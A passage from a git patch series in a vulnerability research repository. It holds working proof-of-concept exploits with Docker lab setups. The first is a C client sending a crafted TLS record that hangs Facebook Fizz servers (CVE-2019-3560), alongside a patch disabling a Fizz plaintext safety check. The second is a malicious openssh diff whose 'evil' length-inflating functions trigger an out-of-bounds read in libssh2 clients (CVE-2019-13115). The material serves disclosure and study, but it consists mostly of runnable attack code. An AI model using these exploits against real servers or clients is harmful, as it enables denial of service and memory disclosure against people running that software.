SignatureScheme::rsa_pss_sha256}; + std::vector supportedGroups_ = {NamedGroup::x25519, + NamedGroup::secp256r1}; +- std::vector defaultShares_ = {NamedGroup::x25519}; ++ std::vector defaultShares_ = {NamedGroup::secp521r1}; + std::vector supportedPskModes_ = { + PskKeyExchangeMode::psk_dhe_ke, + PskKeyExchangeMode::psk_ke}; +diff --git a/fizz/record/PlaintextRecordLayer.cpp b/fizz/record/PlaintextRecordLayer.cpp +index e33ef9e..ce33252 100644 +--- a/fizz/record/PlaintextRecordLayer.cpp ++++ b/fizz/record/PlaintextRecordLayer.cpp +@@ -112,22 +112,24 @@ TLSContent PlaintextWriteRecordLayer::writeInitialClientHello( + TLSContent PlaintextWriteRecordLayer::write( + TLSMessage msg, + ProtocolVersion recordVersion) const { ++#if 0 + if (msg.type == ContentType::application_data) { + throw std::runtime_error("refusing to send plaintext application data"); + } ++#endif + + auto fragment = std::move(msg.fragment); + folly::io::Cursor cursor(fragment.get()); + std::unique_ptr data; + while (!cursor.isAtEnd()) { + Buf thisFragment; +- auto len = cursor.cloneAtMost(thisFragment, kMaxPlaintextRecordSize); ++ auto len = cursor.cloneAtMost(thisFragment, 0x20000); + + auto header = folly::IOBuf::create(kPlaintextHeaderSize); + folly::io::Appender appender(header.get(), kPlaintextHeaderSize); + appender.writeBE(static_cast(msg.type)); + appender.writeBE(static_cast(recordVersion)); +- appender.writeBE(len); ++ appender.writeBE(len < 0x1000 ? len : 0x10000-kPlaintextHeaderSize); + + if (!data) { + data = std::move(header); diff --git a/Facebook/Fizz/CVE-2019-3560/attacker/home/poc/Makefile b/Facebook/Fizz/CVE-2019-3560/attacker/home/poc/Makefile new file mode 100644 index 0000000..340c4a5 --- /dev/null +++ b/Facebook/Fizz/CVE-2019-3560/attacker/home/poc/Makefile @@ -0,0 +1,2 @@ +poc: poc.c + gcc -o poc poc.c diff --git a/Facebook/Fizz/CVE-2019-3560/attacker/home/poc/poc.c b/Facebook/Fizz/CVE-2019-3560/attacker/home/poc/poc.c new file mode 100644 index 0000000..d0d5c7b --- /dev/null +++ b/Facebook/Fizz/CVE-2019-3560/attacker/home/poc/poc.c @@ -0,0 +1,327 @@ +#include +#include +#include +#include +#include +#include +#include +#include +#include + +// Open a socket to the provided server:port combination. Returns the +// socket number of success, -1 on failure. +int connectToUrl(const char* server, const char* port) { + struct addrinfo hints; + memset(&hints, 0, sizeof(struct addrinfo)); + hints.ai_family = AF_UNSPEC; + hints.ai_socktype = SOCK_STREAM; + hints.ai_flags = 0; + hints.ai_protocol = 0; + + struct addrinfo *result; + const int err = getaddrinfo(server, port, &hints, &result); + if (err != 0) { + fprintf(stderr, "getaddrinfo: %s\n", gai_strerror(err)); + return 1; + } + + struct addrinfo *rp; + for (rp = result; rp != NULL; rp = rp->ai_next) { + const int s = socket(rp->ai_family, rp->ai_socktype, rp->ai_protocol); + if (s < 0) { + continue; + } + + if (connect(s, rp->ai_addr, rp->ai_addrlen) != -1) { + freeaddrinfo(result); + return s; + } + + close(s); + } + + freeaddrinfo(result); + return -1; +} + +// Write a uint8_t to starting address &buf[offset]. Return the updated +// offset. +size_t writeUint8(char* buf, size_t offset, uint8_t x) { + buf[offset++] = x; + return offset; +} + +// Write a uint16_t to starting address &buf[offset] (in big endian +// order). Return the updated offset. +size_t writeUint16(char* buf, size_t offset, uint16_t x) { + buf[offset++] = (x >> 8) & 0xFF; + buf[offset++] = x & 0xFF; + return offset; +} + +// Write a uint24_t to starting address &buf[offset] (in big endian +// order). Return the updated offset. +size_t writeUint24(char* buf, size_t offset, uint32_t x) { + buf[offset++] = (x >> 16) & 0xFF; + buf[offset++] = (x >> 8) & 0xFF; + buf[offset++] = x & 0xFF; + return offset; +} + +// Write a block of bytes to starting address &buf[offset]. Return the +// updated offset. +size_t writeMany(char* buf, size_t offset, uint8_t x, size_t n) { + memset(&buf[offset], x, n); + return offset + n; +} + +// Write a string to starting address &buf[offset]. Return the +// updated offset. +size_t writeString(char* buf, size_t offset, const char* str, size_t n) { + memcpy(&buf[offset], str, n); + return offset + n; +} + +// Write the complete payload to the buffer. Return the length. +size_t writePayload(char* buf, const char* server, size_t serverlen) { + size_t n = 0; // Used to keep track of current offset in the buffer. + + n = writeUint8(buf, n, 0x16); // ContentType::handshake + n = writeUint16(buf, n, 0x0301); // fizz::ProtocolVersion::tls_1_0 + + { + const size_t start = n; // Length will be written here at end of block. + n += 2; + + // ReadRecordLayer::decodeHandshakeMessage + n = writeUint8(buf, n, 0x01); // handshakeType = fizz::HandshakeType::client_hello + + { + const size_t start = n; // Length will be written here at end of block. + n += 3; + + // ClientHello decode() fizz/record/Types-inl.h:527 + n = writeUint16(buf, n, 0x0303); // chlo.legacy_version = fizz::ProtocolVersion::tls_1_2 + n = writeMany(buf, n, 0xcd, 32); // chlo.random + + n = writeUint8(buf, n, 0); // Length of chlo.legacy_session_id array + + n = writeUint16(buf, n, 6); // Length of chlo.cipher_suites + n = writeUint16(buf, n, 0x1301); + n = writeUint16(buf, n, 0x1302); + n = writeUint16(buf, n, 0x1303); + + n = writeUint8(buf, n, 1); // Length of chlo.legacy_compression_methods + n = writeUint8(buf, n, 0); + + // chlo.extensions + { + const size_t start = n; // Length will be written here at end of block. + n += 2; + + // SupportedVersions + n = writeUint16(buf, n, 0x2b); // fizz::ExtensionType::supported_versions + { + const size_t start = n; // Length will be written here at end of block. + n += 2; + + { + const size_t start = n; // Length will be written here at end of block. + n += 1; + + n = writeUint16(buf, n, 0x0304); // fizz::ProtocolVersion::tls_1_3 + n = writeUint16(buf, n, 0x7f1c); // fizz::ProtocolVersion::tls_1_3_28 + + writeUint8(buf, start, n-start-1); // Length + } + + writeUint16(buf, start, n-start-2); // Length + } + + // SupportedGroups + n = writeUint16(buf, n, 0x0a); // fizz::ExtensionType::supported_groups + { + const size_t start = n; // Length will be written here at end of block. + n += 2; + + { + const size_t start = n; // Length will be written here at end of block. + n += 2; + + n = writeUint16(buf, n, 0x1d); // fizz::NamedGroup::x25519 + n = writeUint16(buf, n, 0x17); // fizz::NamedGroup::secp256r1 + + writeUint16(buf, start, n-start-2); // Length + } + + writeUint16(buf, start, n-start-2); // Length + } + + // ClientKeyShare + n = writeUint16(buf, n, 0x33); // fizz::ExtensionType::key_share + { + const size_t start = n; // Length will be written here at end of block. + n += 2; + + { + const size_t start = n; // Length will be written here at end of block. + n += 2; + + n = writeUint16(buf, n, 0x19); // fizz::NamedGroup::secp521r1 + + { + const size_t start = n; // Length will be written here at end of block. + n += 2; + + n = writeMany(buf, n, 0xcd, 0x85); // Any size will work here. + + writeUint16(buf, start, n-start-2); // Length + } + + writeUint16(buf, start, n-start-2); // Length + } + + writeUint16(buf, start, n-start-2); // Length + } + + // SignatureAlgorithms + n = writeUint16(buf, n, 0x0d); // fizz::ExtensionType::signature_algorithms + { + const size_t start = n; // Length will be written here at end of block. + n += 2; + + { + const size_t start = n; // Length will be written here at end of block. + n += 2; + + n = writeUint16(buf, n, 0x0403); // fizz::SignatureScheme::ecdsa_secp256r1_sha256 + n = writeUint16(buf, n, 0x0804); // fizz::SignatureScheme::rsa_pss_sha256 + + writeUint16(buf, start, n-start-2); // Length + } + + writeUint16(buf, start, n-start-2); // Length + } + + // ServerName + n = writeUint16(buf, n, 0); // fizz::ExtensionType::server_name + { + const size_t start = n; // Length will be written here at end of block. + n += 2; + + { + const size_t start = n; // Length will be written here at end of block. + n += 2; + + n = writeUint8(buf, n, 0); // fizz::ServerNameType::host_name + { + const size_t start = n; // Length will be written here at end of block. + n += 2; + + n = writeString(buf, n, server, serverlen); + + writeUint16(buf, start, n-start-2); // Length + } + + writeUint16(buf, start, n-start-2); // Length + } + + writeUint16(buf, start, n-start-2); // Length + } + + // PskKeyExchangeModes + n = writeUint16(buf, n, 0x2d); // fizz::ExtensionType::psk_key_exchange_modes + { + const size_t start = n; // Length will be written here at end of block. + n += 2; + + { + const size_t start = n; // Length will be written here at end of block. + n += 1; + + n = writeUint8(buf, n, 1); // psk_dhe_ke + n = writeUint8(buf, n, 0); // psk_ke + + writeUint8(buf, start, n-start-1); // Length + } + + writeUint16(buf, start, n-start-2); // Length + } + + // ClientEarlyData + n = writeUint16(buf, n, 0x2a); // fizz::ExtensionType::early_data + n = writeUint16(buf, n, 0); // Length of ClientEarlyData + + writeUint16(buf, start, n-start-2); // Length + } + + writeUint24(buf, start, n-start-3); // Length + } + + writeUint16(buf, start, n-start-2); // Length + } + + n = writeUint8(buf, n, 0x17); // ContentType::handshake + n = writeUint16(buf, n, 0x0303); // fizz::ProtocolVersion::tls_1_3 + n = writeUint16(buf, n, 0xfffb); // length (malicious) + + // The infinite loop doesn't start until will we deliver 16KB of data. + // The contents don't matter though, so we send zeros. + n = writeMany(buf, n, 0x00, 0x10000); + + return n; +} + +int main(int argc, char *argv[]) +{ + // Check the command line arguments. + if (argc != 3) { + fprintf(stderr, "Usage: %s host port\n", argc > 0 ? argv[0] : "poc"); + exit(1); + } + + const char* server = argv[1]; + const char* port = argv[2]; + size_t serverlen = strlen(argv[1]); + if (serverlen > 0x1000) { + fprintf( + stderr, + "Server name has 0x%lx characters. Maximum allowed: 0x1000.\n", + serverlen + ); + } + + // Create the payload. + char buf[0x20000]; + const size_t n = writePayload(buf, server, serverlen); + assert(n <= sizeof(buf)); + + // Connect to the server. + const int s = connectToUrl(server, port); + if (s < 0) { + fprintf(stderr, "Could not connect\n"); + return 1; + } + + // Send the payload. + const ssize_t nw = write(s, buf, n); + + // Check for errors. + if (nw != n) { + if (nw < 0) { + const int err = errno; + fprintf(stderr, "Send failed: %s\n", strerror(err)); + return 1; + } else { + fprintf( + stderr, + "Failed to send complete payload: sent %ld out of %ld.\n", + nw, + n + ); + return 1; + } + } + + return 0; +} diff --git a/Facebook/Fizz/CVE-2019-3560/server/Dockerfile b/Facebook/Fizz/CVE-2019-3560/server/Dockerfile new file mode 100644 index 0000000..f31c2e8 --- /dev/null +++ b/Facebook/Fizz/CVE-2019-3560/server/Dockerfile @@ -0,0 +1,51 @@ +FROM ubuntu:bionic + +RUN apt-get update && \ + apt-get install -y \ + sudo tmux screen emacs git gdb net-tools g++ cmake \ + libboost-all-dev libevent-dev libdouble-conversion-dev \ + libgoogle-glog-dev libgflags-dev libiberty-dev liblz4-dev \ + liblzma-dev libsnappy-dev make zlib1g-dev binutils-dev \ + libjemalloc-dev libssl-dev pkg-config libsodium-dev + +ARG UID=1000 + +# Create a non-root user account to run Fizz. +RUN adduser victim --disabled-password --uid $UID + +# Grant the 'victim' user sudo access. This is not used for the demo, +# but it is often handy for installing extra packages. +RUN adduser victim sudo +RUN echo "victim:x" | chpasswd +COPY home/ /home/victim/ +RUN chown -R victim:victim /home/victim + +# Switch over to the 'victim' user, since root access is no longer required +USER victim +WORKDIR /home/victim + +# Clone and build Folly, which Fizz depends on. +RUN git clone https://github.com/facebook/folly && \ + cd folly && \ + git checkout df5a0575d95f3c2cc9200b15e40db4af82e1f2eb && \ + mkdir build_ && cd build_ && \ + cmake .. && \ + make -j $(nproc) + +# Install Folly. +USER root +RUN cd /home/victim/folly/build_ && make install +USER victim + +# Clone and build Fizz. +RUN git clone https://github.com/facebookincubator/fizz && \ + cd fizz && \ + git checkout eaa81af854bef509c3c1d7c83df0cd0b084a0fef && \ + mkdir build_ && cd build_ && \ + cmake ../fizz && \ + make -j $(nproc) + +# Install Fizz. +USER root +RUN cd /home/victim/fizz/build_ && make install +USER victim diff --git a/Facebook/Fizz/CVE-2019-3560/server/home/certs/ca.config b/Facebook/Fizz/CVE-2019-3560/server/home/certs/ca.config new file mode 100644 index 0000000..76a97d7 --- /dev/null +++ b/Facebook/Fizz/CVE-2019-3560/server/home/certs/ca.config @@ -0,0 +1,46 @@ +[ req ] +default_bits = 2048 +distinguished_name = dn +x509_extensions = san +req_extensions = san +extensions = san +prompt = no + +[ ca ] +default_ca = ca_default + +[ ca_default ] +private_key = root-ca-key.pem +certificate = root-ca.pem +new_certs_dir = new_certs +database = root-ca.index +default_md = sha256 +serial = root-ca.serial +email_in_dn = no +default_days = 365 +policy = policy + +[ policy ] +countryName = optional +stateOrProvinceName = optional +localityName = optional +organizationName = optional +organizationalUnitName = optional +commonName = supplied + +[ dn ] +countryName = US +stateOrProvinceName = CA +localityName = San Francisco +organizationName = Wholesome Certifications Inc. +commonName = wholesomecertifications.com +emailAddress = webmaster@wholesomecertifications.com + +[ san ] +basicConstraints = CA:TRUE +subjectAltName = @alt_names +subjectKeyIdentifier = hash + +[ alt_names ] +DNS.1 = *.wholesomecertifications.com +DNS.2 = *.wholesomecerts.com diff --git a/Facebook/Fizz/CVE-2019-3560/server/home/certs/clean.sh b/Facebook/Fizz/CVE-2019-3560/server/home/certs/clean.sh new file mode 100755 index 0000000..a06e0b4 --- /dev/null +++ b/Facebook/Fizz/CVE-2019-3560/server/home/certs/clean.sh @@ -0,0 +1,9 @@ +#!/bin/bash + +# Delete all auto-generated files. + +rm -f *~ +rm -rf new_certs +rm -f root-ca* +rm -f server-*.pem +rm -f client-*.pem diff --git a/Facebook/Fizz/CVE-2019-3560/server/home/certs/create-certs.sh b/Facebook/Fizz/CVE-2019-3560/server/home/certs/create-certs.sh new file mode 100755 index 0000000..af8bc55 --- /dev/null +++ b/Facebook/Fizz/CVE-2019-3560/server/home/certs/create-certs.sh @@ -0,0 +1,18 @@ +#!/bin/bash + +mkdir new_certs +touch root-ca.index +touch root-ca.index.attr +echo 00 > root-ca.crlnum +openssl rand -hex 16 > root-ca.serial + +# create self-signed certificate +openssl req -config ca.config -new -x509 -sha256 -newkey rsa:2048 -nodes \ + -keyout root-ca-key.pem -days 365 -out root-ca.pem + +# Create signing request for the server +openssl req -config server.config -new -sha256 -newkey rsa:2048 -nodes \ + -keyout server-key.pem -days 365 -out server-request.pem + +# Create signed certificate for the server +openssl ca -config server.config -batch -days 365 -extensions server_ext -out server-cert.pem -infiles server-request.pem diff --git a/Facebook/Fizz/CVE-2019-3560/server/home/certs/server.config b/Facebook/Fizz/CVE-2019-3560/server/home/certs/server.config new file mode 100644 index 0000000..03d5edc --- /dev/null +++ b/Facebook/Fizz/CVE-2019-3560/server/home/certs/server.config @@ -0,0 +1,45 @@ +[ req ] +default_bits = 2048 +distinguished_name = dn +x509_extensions = server_ext +req_extensions = server_ext +extensions = server_ext +prompt = no + +[ ca ] +default_ca = ca_default + +[ ca_default ] +private_key = root-ca-key.pem +certificate = root-ca.pem +new_certs_dir = new_certs +database = root-ca.index +default_md = sha256 +serial = root-ca.serial +email_in_dn = no +default_days = 365 +policy = policy + +[ policy ] +countryName = optional +stateOrProvinceName = optional +localityName = optional +organizationName = optional +organizationalUnitName = optional +commonName = supplied + +[ dn ] +countryName = US +stateOrProvinceName = CA +localityName = San Francisco +organizationName = Wholesome Computing Inc. +commonName = server.wholesomecomputing.com +emailAddress = webmaster@wholesomecomputing.com + +[ server_ext ] +basicConstraints = CA:FALSE +subjectAltName = @alt_names +subjectKeyIdentifier = hash + +[ alt_names ] +DNS.1 = *.wholesomecomputing.com From 7984853da4dd99628c64c9572f528ab63337b29b Mon Sep 17 00:00:00 2001 From: Kevin Backhouse Date: Fri, 28 Jun 2019 13:28:01 +0100 Subject: [PATCH 12/14] Exploit PoC for out-of-bounds read in libssh2 version 1.8.2. --- libssh2/out_of_bounds_read_kex/README.md | 80 ++++++++++ .../out_of_bounds_read_kex/client/Dockerfile | 33 ++++ .../client/home/.tmux.conf | 11 ++ .../out_of_bounds_read_kex/server/Dockerfile | 44 ++++++ .../server/home/.tmux.conf | 11 ++ .../server/home/diff.txt | 141 ++++++++++++++++++ 6 files changed, 320 insertions(+) create mode 100644 libssh2/out_of_bounds_read_kex/README.md create mode 100644 libssh2/out_of_bounds_read_kex/client/Dockerfile create mode 100644 libssh2/out_of_bounds_read_kex/client/home/.tmux.conf create mode 100644 libssh2/out_of_bounds_read_kex/server/Dockerfile create mode 100644 libssh2/out_of_bounds_read_kex/server/home/.tmux.conf create mode 100644 libssh2/out_of_bounds_read_kex/server/home/diff.txt diff --git a/libssh2/out_of_bounds_read_kex/README.md b/libssh2/out_of_bounds_read_kex/README.md new file mode 100644 index 0000000..becb5fa --- /dev/null +++ b/libssh2/out_of_bounds_read_kex/README.md @@ -0,0 +1,80 @@ +# Out-of-bounds read in libssh2 + +[libssh2](https://www.libssh2.org/) version 1.8.2 contains a remotely triggerable out-of-bounds read, potentially leading to information disclosure. I reported this bug to libssh2-security@haxx.se on 2019-03-28. It is fixed in version [1.9.0](https://www.libssh2.org/changes.html), released on 2018-06-20. They did not acknowledge Semmle in the change notes and did not apply for a CVE. + +This directory contains a proof of concept exploit for the vulnerability. It uses [docker](https://www.docker.com/) to simulate two computers. The first is a server, running [openssh](https://www.openssh.com/) with some malicious source code modifications. The second is a client, running `libssh2`. When the client attempts to connect to server, the server sends back a malicious response which triggers a segmentation fault in the client. + +I originally developed this proof of concept to highlight a vulnerability in an incorrectly implemented bounds checking function: + +``` +int _libssh2_check_length(struct string_buf *buf, size_t len) +{ + return ((int)(buf->dataptr - buf->data) <= (int)(buf->len - len)) ? 1 : 0; +} +``` + +The above code snippet is from revision [38bf7ce](https://github.com/libssh2/libssh2/blob/38bf7ce9ece3441dcf3a19f0befb5b491ed4adfa/src/misc.c#L814). The PoC works by making `len` greater than `buf->len + 0x80000000` so that the calculation of `(int)(buf->len - len)` overflows and becomes a very large positive number, thereby bypassing the bounds check and causing libssh2 to crash with a segmentation fault. However, I learned later that `_libssh2_check_length` was introduced on the main development branch after the release of version 1.8.2, so this vulnerable bounds check does not exist in version 1.8.2. Unfortunately, version 1.8.2 contains no bounds check whatsoever. This means that much smaller values of `len` can trigger an out-of-bounds read on version 1.8.2. If you are interested in experimenting with this, search for a variable named `evil_offset` in [`diff.txt`](server/home/diff.txt#L53) and change its value to something smaller. + +## Network setup + +Create a docker network bridge, to simulate a network with two separate computers. + +``` +docker network create -d bridge --subnet 172.18.0.0/16 libssh2-demo-network +``` + +## Server setup + +Build the docker image: + +``` +docker build server -t libssh2-server --build-arg UID=`id -u` +``` + +Start the container: + +``` +docker run --rm --network libssh2-demo-network --ip=172.18.0.10 -i -t libssh2-server +``` + +Start the malicious ssh server: + +``` +sudo /usr/local/sbin/sshd # password is x +``` + +## Client setup + +Build the docker image: + +``` +docker build client -t libssh2-client --build-arg UID=`id -u` +``` + +Start the container: + +``` +docker run --rm --network libssh2-demo-network --ip=172.18.0.11 -i -t libssh2-client +``` + +If you want to be able to debug libssh2 with gdb, then you need to start the container with a few extra arguments: + +``` +docker run --rm --network libssh2-demo-network --ip=172.18.0.11 --cap-add=SYS_PTRACE --security-opt seccomp=unconfined -i -t libssh2-client +``` + +In the container, attempt to connect to the server: + +``` +cd ~/libssh2/example +./ssh2 172.18.0.10 hal x +``` + +This command crashes with a segmentation fault. + +If you would like to debug libssh2 with gdb, then start it like this: + +``` +cd ~/libssh2/example/.libs +LD_LIBRARY_PATH="/home/victim/libssh2/src/.libs:$LD_LIBRARY_PATH" gdb --args ./ssh2 172.18.0.10 hal x +``` diff --git a/libssh2/out_of_bounds_read_kex/client/Dockerfile b/libssh2/out_of_bounds_read_kex/client/Dockerfile new file mode 100644 index 0000000..b23fcba --- /dev/null +++ b/libssh2/out_of_bounds_read_kex/client/Dockerfile @@ -0,0 +1,33 @@ +FROM ubuntu:bionic + +RUN apt-get update && \ + apt-get install -y \ + sudo tmux screen emacs git gdb net-tools psmisc \ + build-essential autoconf automake libtool g++ \ + libssl-dev + +ARG UID=1000 + +# Create a non-root user account to run Libssh2. +RUN adduser victim --disabled-password --uid $UID + +# Grant the 'victim' user sudo access. This is not used for the +# demo, but it is often handy for installing extra packages. +RUN adduser victim sudo +RUN echo "victim:x" | chpasswd +COPY home/ /home/victim/ +RUN chown -R victim:victim /home/victim + +# Switch over to the 'victim' user, since root access is no longer required +USER victim +WORKDIR /home/victim + +# Checkout and build libssh2-1.8.2 (commit 02ecf17a6d5f9837699e8fb3aad0c804caa67eeb). +# Note: this PoC also works on commit 38bf7ce9ece3441dcf3a19f0befb5b491ed4adfa, +# which is the commit which contained the bad implementation of _libssh2_check_length. +RUN git clone https://github.com/libssh2/libssh2.git && \ + cd libssh2 && \ + git checkout 02ecf17a6d5f9837699e8fb3aad0c804caa67eeb && \ + ./buildconf && \ + ./configure && \ + make -j4 diff --git a/libssh2/out_of_bounds_read_kex/client/home/.tmux.conf b/libssh2/out_of_bounds_read_kex/client/home/.tmux.conf new file mode 100644 index 0000000..f2da785 --- /dev/null +++ b/libssh2/out_of_bounds_read_kex/client/home/.tmux.conf @@ -0,0 +1,11 @@ +# Enable 256 colors +set -g default-terminal "screen-256color" + +# Enable using the mouse to switch windows. +set -g mouse on + +# Don't lose track of SSH_AGENT etc. from parent environment. +set -g update-environment -r + +# history buffer size +set-option -g history-limit 100000 diff --git a/libssh2/out_of_bounds_read_kex/server/Dockerfile b/libssh2/out_of_bounds_read_kex/server/Dockerfile new file mode 100644 index 0000000..fbe6c9f --- /dev/null +++ b/libssh2/out_of_bounds_read_kex/server/Dockerfile @@ -0,0 +1,44 @@ +FROM ubuntu:bionic + +RUN apt-get update && \ + apt-get install -y \ + sudo tmux screen emacs git gdb net-tools psmisc \ + build-essential autoconf g++ \ + libssl-dev zlib1g-dev + +ARG UID=1000 + +# Create a non-root user account to build openssh-server. +RUN adduser hal --disabled-password --uid $UID + +# Grant the 'hal' user sudo access. This is not used for the demo, +# but it is often handy for installing extra packages. +RUN adduser hal sudo +RUN echo "hal:x" | chpasswd +COPY home/ /home/hal/ +RUN chown -R hal:hal /home/hal + +# Create the sshd user +RUN mkdir /var/empty && \ + chown root:sys /var/empty && \ + chmod 755 /var/empty && \ + groupadd sshd && \ + useradd -g sshd -c 'sshd privsep' -d /var/empty -s /bin/false sshd + +# Switch over to the 'hal' user, since root access is no longer required +USER hal +WORKDIR /home/hal + +# Clone openssh, insert some malicious code, and built it. +RUN git clone https://github.com/openssh/openssh-portable.git && \ + cd openssh-portable && \ + git checkout 21da87f439b48a85b951ef1518fe85ac0273e719 && \ + git apply /home/hal/diff.txt && \ + autoreconf && \ + ./configure && \ + make + +# Install openssh. +USER root +RUN cd /home/hal/openssh-portable && make install +USER hal diff --git a/libssh2/out_of_bounds_read_kex/server/home/.tmux.conf b/libssh2/out_of_bounds_read_kex/server/home/.tmux.conf new file mode 100644 index 0000000..f2da785 --- /dev/null +++ b/libssh2/out_of_bounds_read_kex/server/home/.tmux.conf @@ -0,0 +1,11 @@ +# Enable 256 colors +set -g default-terminal "screen-256color" + +# Enable using the mouse to switch windows. +set -g mouse on + +# Don't lose track of SSH_AGENT etc. from parent environment. +set -g update-environment -r + +# history buffer size +set-option -g history-limit 100000 diff --git a/libssh2/out_of_bounds_read_kex/server/home/diff.txt b/libssh2/out_of_bounds_read_kex/server/home/diff.txt new file mode 100644 index 0000000..02654f3 --- /dev/null +++ b/libssh2/out_of_bounds_read_kex/server/home/diff.txt @@ -0,0 +1,141 @@ +diff --git a/kexgexs.c b/kexgexs.c +index 8ee3aacc..8f37c421 100644 +--- a/kexgexs.c ++++ b/kexgexs.c +@@ -106,8 +106,8 @@ input_kex_dh_gex_request(int type, u_int32_t seq, struct ssh *ssh) + debug("SSH2_MSG_KEX_DH_GEX_GROUP sent"); + DH_get0_pqg(kex->dh, &dh_p, NULL, &dh_g); + if ((r = sshpkt_start(ssh, SSH2_MSG_KEX_DH_GEX_GROUP)) != 0 || +- (r = sshpkt_put_bignum2(ssh, dh_p)) != 0 || +- (r = sshpkt_put_bignum2(ssh, dh_g)) != 0 || ++ (r = sshpkt_put_bignum2_evil(ssh, dh_p)) != 0 || ++ (r = sshpkt_put_bignum2_evil(ssh, dh_g)) != 0 || + (r = sshpkt_send(ssh)) != 0) + goto out; + +diff --git a/packet.c b/packet.c +index 36e352b4..e4a1a06b 100644 +--- a/packet.c ++++ b/packet.c +@@ -2506,6 +2506,12 @@ sshpkt_put_bignum2(struct ssh *ssh, const BIGNUM *v) + { + return sshbuf_put_bignum2(ssh->state->outgoing_packet, v); + } ++ ++int ++sshpkt_put_bignum2_evil(struct ssh *ssh, const BIGNUM *v) ++{ ++ return sshbuf_put_bignum2_evil(ssh->state->outgoing_packet, v); ++} + #endif /* WITH_OPENSSL */ + + /* fetch data from the incoming packet */ +diff --git a/packet.h b/packet.h +index 0dfa36da..93ea6c77 100644 +--- a/packet.h ++++ b/packet.h +@@ -190,6 +190,7 @@ int sshpkt_put_cstring(struct ssh *ssh, const void *v); + int sshpkt_put_stringb(struct ssh *ssh, const struct sshbuf *v); + int sshpkt_put_ec(struct ssh *ssh, const EC_POINT *v, const EC_GROUP *g); + int sshpkt_put_bignum2(struct ssh *ssh, const BIGNUM *v); ++int sshpkt_put_bignum2_evil(struct ssh *ssh, const BIGNUM *v); + + int sshpkt_get(struct ssh *ssh, void *valp, size_t len); + int sshpkt_get_u8(struct ssh *ssh, u_char *valp); +diff --git a/sshbuf-getput-basic.c b/sshbuf-getput-basic.c +index 50648258..34ec3be5 100644 +--- a/sshbuf-getput-basic.c ++++ b/sshbuf-getput-basic.c +@@ -362,6 +362,26 @@ sshbuf_put_string(struct sshbuf *buf, const void *v, size_t len) + return 0; + } + ++const size_t evil_offset = 0x80000200; // Edit evil offset here ++ ++int ++sshbuf_put_string_evil(struct sshbuf *buf, const void *v, size_t len) ++{ ++ u_char *d; ++ int r; ++ ++ if (len > SSHBUF_SIZE_MAX - 4) { ++ SSHBUF_DBG(("SSH_ERR_NO_BUFFER_SPACE")); ++ return SSH_ERR_NO_BUFFER_SPACE; ++ } ++ if ((r = sshbuf_reserve(buf, len + 4, &d)) < 0) ++ return r; ++ POKE_U32(d, len + evil_offset); ++ if (len != 0) ++ memcpy(d + 4, v, len); ++ return 0; ++} ++ + int + sshbuf_put_cstring(struct sshbuf *buf, const char *v) + { +diff --git a/sshbuf-getput-crypto.c b/sshbuf-getput-crypto.c +index 3dd1e144..cbf3977f 100644 +--- a/sshbuf-getput-crypto.c ++++ b/sshbuf-getput-crypto.c +@@ -148,6 +148,28 @@ sshbuf_put_bignum2(struct sshbuf *buf, const BIGNUM *v) + return 0; + } + ++int ++sshbuf_put_bignum2_evil(struct sshbuf *buf, const BIGNUM *v) ++{ ++ u_char d[SSHBUF_MAX_BIGNUM + 1]; ++ int len = BN_num_bytes(v), prepend = 0, r; ++ ++ if (len < 0 || len > SSHBUF_MAX_BIGNUM) ++ return SSH_ERR_INVALID_ARGUMENT; ++ *d = '\0'; ++ if (BN_bn2bin(v, d + 1) != len) ++ return SSH_ERR_INTERNAL_ERROR; /* Shouldn't happen */ ++ /* If MSB is set, prepend a \0 */ ++ if (len > 0 && (d[1] & 0x80) != 0) ++ prepend = 1; ++ if ((r = sshbuf_put_string_evil(buf, d + 1 - prepend, len + prepend)) < 0) { ++ explicit_bzero(d, sizeof(d)); ++ return r; ++ } ++ explicit_bzero(d, sizeof(d)); ++ return 0; ++} ++ + #ifdef OPENSSL_HAS_ECC + int + sshbuf_put_ec(struct sshbuf *buf, const EC_POINT *v, const EC_GROUP *g) +diff --git a/sshbuf.h b/sshbuf.h +index 7900b82b..f8632bcb 100644 +--- a/sshbuf.h ++++ b/sshbuf.h +@@ -185,6 +185,7 @@ int sshbuf_get_string(struct sshbuf *buf, u_char **valp, size_t *lenp); + int sshbuf_get_cstring(struct sshbuf *buf, char **valp, size_t *lenp); + int sshbuf_get_stringb(struct sshbuf *buf, struct sshbuf *v); + int sshbuf_put_string(struct sshbuf *buf, const void *v, size_t len); ++int sshbuf_put_string_evil(struct sshbuf *buf, const void *v, size_t len); + int sshbuf_put_cstring(struct sshbuf *buf, const char *v); + int sshbuf_put_stringb(struct sshbuf *buf, const struct sshbuf *v); + +@@ -214,6 +215,7 @@ int sshbuf_get_bignum2_bytes_direct(struct sshbuf *buf, + #ifdef WITH_OPENSSL + int sshbuf_get_bignum2(struct sshbuf *buf, BIGNUM **valp); + int sshbuf_put_bignum2(struct sshbuf *buf, const BIGNUM *v); ++int sshbuf_put_bignum2_evil(struct sshbuf *buf, const BIGNUM *v); + # ifdef OPENSSL_HAS_ECC + int sshbuf_get_ec(struct sshbuf *buf, EC_POINT *v, const EC_GROUP *g); + int sshbuf_get_eckey(struct sshbuf *buf, EC_KEY *v); +diff --git a/sshd_config b/sshd_config +index 19b7c91a..82a08747 100644 +--- a/sshd_config ++++ b/sshd_config +@@ -102,6 +102,8 @@ AuthorizedKeysFile .ssh/authorized_keys + #ChrootDirectory none + #VersionAddendum none + ++KexAlgorithms diffie-hellman-group-exchange-sha256 ++ + # no default banner path + #Banner none + From c8dca9dbcf0854c574c615e85733c52141ba6aed Mon Sep 17 00:00:00 2001 From: Kevin Backhouse Date: Mon, 1 Jul 2019 16:06:34 +0100 Subject: [PATCH 13/14] This vulnerability has now been assigned CVE-2019-13115. --- .../README.md | 4 ++-- .../client/Dockerfile | 0 .../client/home/.tmux.conf | 0 .../server/Dockerfile | 0 .../server/home/.tmux.conf | 0 .../server/home/diff.txt | 0 6 files changed, 2 insertions(+), 2 deletions(-) rename libssh2/{out_of_bounds_read_kex => out_of_bounds_read_kex_CVE-2019-13115}/README.md (95%) rename libssh2/{out_of_bounds_read_kex => out_of_bounds_read_kex_CVE-2019-13115}/client/Dockerfile (100%) rename libssh2/{out_of_bounds_read_kex => out_of_bounds_read_kex_CVE-2019-13115}/client/home/.tmux.conf (100%) rename libssh2/{out_of_bounds_read_kex => out_of_bounds_read_kex_CVE-2019-13115}/server/Dockerfile (100%) rename libssh2/{out_of_bounds_read_kex => out_of_bounds_read_kex_CVE-2019-13115}/server/home/.tmux.conf (100%) rename libssh2/{out_of_bounds_read_kex => 